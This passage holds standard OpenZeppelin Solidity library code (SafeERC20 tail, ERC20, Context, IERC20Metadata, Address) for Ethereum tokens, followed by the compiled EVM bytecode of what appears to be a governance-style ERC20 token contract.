require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | 0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c806370a0823111610104578063a457c2d7116100a2578063dd62ed3e11610071578063dd62ed3e14610435578063e7a324dc1461046e578063f1127ed814610495578063f2fde38b146104ec57600080fd5b8063a457c2d7146103e9578063a9059cbb146103fc578063b4b5ea571461040f578063c3cda5201461042257600080fd5b806379cc6790116100de57806379cc67901461039d5780637ecebe00146103b05780638da5cb5b146103d057806395d89b41146103e157600080fd5b806370a0823114610359578063715018a614610382578063782d6fe11461038a57600080fd5b806340c10f1911610171578063587cde1e1161014b578063587cde1e146102b45780635c19a95c146102f857806362c067671461030b5780636fcfff451461031e57600080fd5b806340c10f191461028357806342966c681461029857806354fd4d50146102ab57600080fd5b806320606b70116101ad57806320606b701461022757806323b872dd1461024e578063313ce56714610261578063395093511461027057600080fd5b806306fdde03146101d4578063095ea7b3146101f257806318160ddd14610215575b600080fd5b6101dc6104ff565b6040516101e99190611bec565b60405180910390f35b610205610200366004611c3b565b610591565b60405190151581526020016101e9565b6002545b6040519081526020016101e9565b6102197f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b61020561025c366004611c65565b6105ab565b604051601281526020016101e9565b61020561027e366004611c3b565b6105d1565b610296610291366004611c3b565b610610565b005b6102966102a6366004611ca1565b610676565b61021960075481565b6102e06102c2366004611cba565b6001600160a01b039081166000908152600860205260409020541690565b6040516001600160a01b0390911681526020016101e9565b610296610306366004611cba565b610683565b610296610319366004611c65565b61068d565b61034461032c366004611cba565b600a6020526000908152604090205463ffffffff1681565b60405163ffffffff90911681526020016101e9565b610219610367366004611cba565b6001600160a01b031660009081526020819052604090205490565b6102966107b5565b610219610398366004611c3b565b6107eb565b6102966103ab366004611c3b565b610a52565b6102196103be366004611cba565b600b6020526000908152604090205481565b6005546001600160a01b03166102e0565b6101dc610aea565b6102056103f7366004611c3b565b610af9565b61020561040a366004611c3b565b610b96565b61021961041d366004611cba565b610bdd565b610296610430366004611cd5565b610c51565b610219610443366004611d35565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6102197fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6104d06104a3366004611d68565b60096020908152600092835260408084209091529082529020805460019091015463ffffffff9091169082565b6040805163ffffffff90931683526020830191909152016101e9565b6102966104fa366004611cba565b610ed1565b60606003805461050e90611da8565b80601f016020809104026020016040519081016040528092919081815260200182805461053a90611da8565b80156105875780601f1061055c57610100808354040283529160200191610587565b820191906000526020600020905b81548152906001019060200180831161056a57829003601f168201915b5050505050905090565b60003361059f818585610f69565b60019150505b92915050565b6000336105b985828561108d565b6105c4858585611107565b60019150505b9392505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490919061059f908290869061060b908790611df9565b610f69565b6005546001600160a01b031633146106435760405162461bcd60e51b815260040161063a90611e11565b60405180910390fd5b61064d82826112d5565b6001600160a01b038083166000908152600860205260408120546106729216836113b4565b5050565b6106803382611513565b50565b6106803382611661565b6005546001600160a01b031633146106b75760405162461bcd60e51b815260040161063a90611e11565b6002600654141561070a5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015260640161063a565b60026006556001600160a01b038316610797576000826001600160a01b03168260405160006040518083038185875af1925050503d806000811461076a576040519150601f19603f3d011682016040523d82523d6000602084013e61076f565b606091505b505090508061079157604051639081276360e01b815260040160405180910390fd5b506107ab565b6107ab6001600160a01b03841683836116da565b5050600160065550565b6005546001600160a01b031633146107df5760405162461bcd60e51b815260040161063a90611e11565b6107e9600061172c565b565b600043821061084e5760405162461bcd60e51b815260206004820152602960248201527f5468652073706563696669656420626c6f636b206973206e6f7420796574206660448201526834b730b634bd32b21760b91b606482015260840161063a565b6001600160a01b0383166000908152600a602052604090205463ffffffff168061087c5760009150506105a5565b6001600160a01b038416600090815260096020526040812084916108a1600185611e46565b63ffffffff9081168252602082019290925260400160002054161161090a576001600160a01b0384166000908152600960205260408120906108e4600184611e46565b63ffffffff1663ffffffff168152602001908152602001600020600101549150506105a5565b6001600160a01b038416600090815260096020908152604080832083805290915290205463ffffffff168310156109455760009150506105a5565b600080610953600184611e46565b90505b8163ffffffff168163ffffffff161115610a1b57600060026109788484611e46565b6109829190611e6b565b61098c9083611e46565b6001600160a01b038816600090815260096020908152604080832063ffffffff80861685529083529281902081518083019092528054909316808252600190930154918101919091529192508714156109ef576020015194506105a59350505050565b805163ffffffff16871115610a0657819350610a14565b610a11600183611e46565b92505b5050610956565b506001600160a01b038516600090815260096020908152604080832063ffffffff9094168352929052206001015491505092915050565b610a5c8233610443565b811015610ab75760405162461bcd60e51b8152602060048201526024808201527f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f77604482015263616e636560e01b606482015260840161063a565b600081610ac48433610443565b610ace9190611e9c565b9050610adb833383610f69565b610ae58383611513565b505050565b60606004805461050e90611da8565b3360008181526001602090815260408083206001600160a01b038716845290915281205490919083811015610b7e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161063a565b610b8b8286868403610f69565b506001949350505050565b6000610ba3338484611107565b33600090815260086020526040808220546001600160a01b0386811684529190922054610bd49282169116846113b4565b50600192915050565b6001600160a01b0381166000908152600a602052604081205463ffffffff1680610c085760006105ca565b6001600160a01b038316600090815260096020526040812090610c2c600184611e46565b63ffffffff1663ffffffff168152602001908152602001600020600101549392505050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866610c7c6104ff565b80519060200120610c8a4690565b60408051602080820195909552808201939093526060830191909152306080808401919091528151808403909101815260a0830182528051908401207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c08401526001600160a01b038b1660e084015261010083018a90526101208084018a90528251808503909101815261014084019092528151919093012061190160f01b610160830152610162820183905261018282018190529192506000906101a20160408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015610db6573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610e0e5760405162461bcd60e51b815260206004820152601260248201527124b73b30b634b21039b4b3b730ba3ab9329760711b604482015260640161063a565b6001600160a01b0381166000908152600b60205260408120805491610e3283611eb3565b919050558914610e755760405162461bcd60e51b815260206004820152600e60248201526d24b73b30b634b2103737b731b29760911b604482015260640161063a565b87421115610eba5760405162461bcd60e51b815260206004820152601260248201527129b4b3b730ba3ab9329032bc3834b932b21760711b604482015260640161063a565b610ec4818b611661565b505050505b505050505050565b6005546001600160a01b03163314610efb5760405162461bcd60e51b815260040161063a90611e11565b6001600160a01b038116610f605760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161063a565b6106808161172c565b6001600160a01b038316610fcb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063a565b6001600160a01b03821661102c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063a565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006110998484610443565b9050600019811461110157818110156110f45760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161063a565b6111018484848403610f69565b50505050565b6001600160a01b03831661116b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063a565b6001600160a01b0382166111cd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063a565b6001600160a01b038316600090815260208190526040902054818110156112455760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161063a565b6001600160a01b0380851660009081526020819052604080822085850390559185168152908120805484929061127c908490611df9565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112c891815260200190565b60405180910390a3611101565b6001600160a01b03821661132b5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161063a565b806002600082825461133d9190611df9565b90915550506001600160a01b0382166000908152602081905260408120805483929061136a908490611df9565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b816001600160a01b0316836001600160a01b0316141580156113d65750600081115b15610ae5576001600160a01b03831615611479576001600160a01b0383166000908152600a602052604081205463ffffffff169081611416576000611459565b6001600160a01b03851660009081526009602052604081209061143a600185611e46565b63ffffffff1663ffffffff168152602001908152602001600020600101545b905060006114678483611e9c565b90506114758684848461177e565b5050505b6001600160a01b03821615610ae5576001600160a01b0382166000908152600a602052604081205463ffffffff1690816114b45760006114f7565b6001600160a01b0384166000908152600960205260408120906114d8600185611e46565b63ffffffff1663ffffffff168152602001908152602001600020600101545b905060006115058483611df9565b9050610ec98584848461177e565b6001600160a01b0382166115735760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161063a565b6001600160a01b038216600090815260208190526040902054818110156115e75760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161063a565b6001600160a01b0383166000908152602081905260408120838303905560028054849290611616908490611e9c565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050565b6001600160a01b038281166000818152600860208181526040808420805485845282862054949093528787166001600160a01b03198416811790915590519190951694919391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a46111018284836113b4565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610ae590849061193d565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60006117bf436040518060400160405280601d81526020017f426c6f636b206e756d626572206578636565647320333220626974732e000000815250611a0f565b905060008463ffffffff1611801561181957506001600160a01b038516600090815260096020526040812063ffffffff8316916117fd600188611e46565b63ffffffff908116825260208201929092526040016000205416145b15611862576001600160a01b03851660009081526009602052604081208391611843600188611e46565b63ffffffff1681526020810191909152604001600020600101556118f2565b60408051808201825263ffffffff838116825260208083018681526001600160a01b038a166000908152600983528581208a851682529092529390209151825463ffffffff1916911617815590516001918201556118c1908590611ece565b6001600160a01b0386166000908152600a60205260409020805463ffffffff191663ffffffff929092169190911790555b60408051848152602081018490526001600160a01b038716917fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724910160405180910390a25050505050565b6000611992826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316611a3f9092919063ffffffff16565b805190915015610ae557808060200190518101906119b09190611ef6565b610ae55760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b606482015260840161063a565b6000816401000000008410611a375760405162461bcd60e51b815260040161063a9190611bec565b509192915050565b6060611a4e8484600085611a56565b949350505050565b606082471015611ab75760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b606482015260840161063a565b6001600160a01b0385163b611b0e5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161063a565b600080866001600160a01b03168587604051611b2a9190611f18565b60006040518083038185875af1925050503d8060008114611b67576040519150601f19603f3d011682016040523d82523d6000602084013e611b6c565b606091505b5091509150611b7c828286611b87565b979650505050505050565b60608315611b965750816105ca565b825115611ba65782518084602001fd5b8160405162461bcd60e51b815260040161063a9190611bec565b60005b83811015611bdb578181015183820152602001611bc3565b838111156111015750506000910152565b6020815260008251806020840152611c0b816040850160208701611bc0565b601f01601f19169190910160400192915050565b80356001600160a01b0381168114611c3657600080fd5b919050565b60008060408385031215611c4e57600080fd5b611c5783611c1f565b946020939093013593505050565b600080600060608486031215611c7a57600080fd5b611c8384611c1f565b9250611c9160208501611c1f565b9150604084013590509250925092565b600060208284031215611cb357600080fd5b5035919050565b600060208284031215611ccc57600080fd5b6105ca82611c1f565b60008060008060008060c08789031215611cee57600080fd5b611cf787611c1f565b95506020870135945060408701359350606087013560ff81168114611d1b57600080fd5b9598949750929560808101359460a0909101359350915050565b60008060408385031215611d4857600080fd5b611d5183611c1f565b9150611d5f60208401611c1f565b90509250929050565b60008060408385031215611d7b57600080fd5b611d8483611c1f565b9150602083013563ffffffff81168114611d9d57600080fd5b809150509250929050565b600181811c90821680611dbc57607f821691505b60208210811415611ddd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115611e0c57611e0c611de3565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600063ffffffff83811690831681811015611e6357611e63611de3565b039392505050565b600063ffffffff80841680611e9057634e487b7160e01b600052601260045260246000fd5b92169190910492915050565b600082821015611eae57611eae611de3565b500390565b6000600019821415611ec757611ec7611de3565b5060010190565b600063ffffffff808316818516808303821115611eed57611eed611de3565b01949350505050565b600060208284031215611f0857600080fd5b815180151581146105ca57600080fd5b60008251611f2a818460208701611bc0565b919091019291505056fea2646970667358221220012200a35c4050527c9c39bb52f52b876ca3d3251ef4130435c8bf4aec42d38b64736f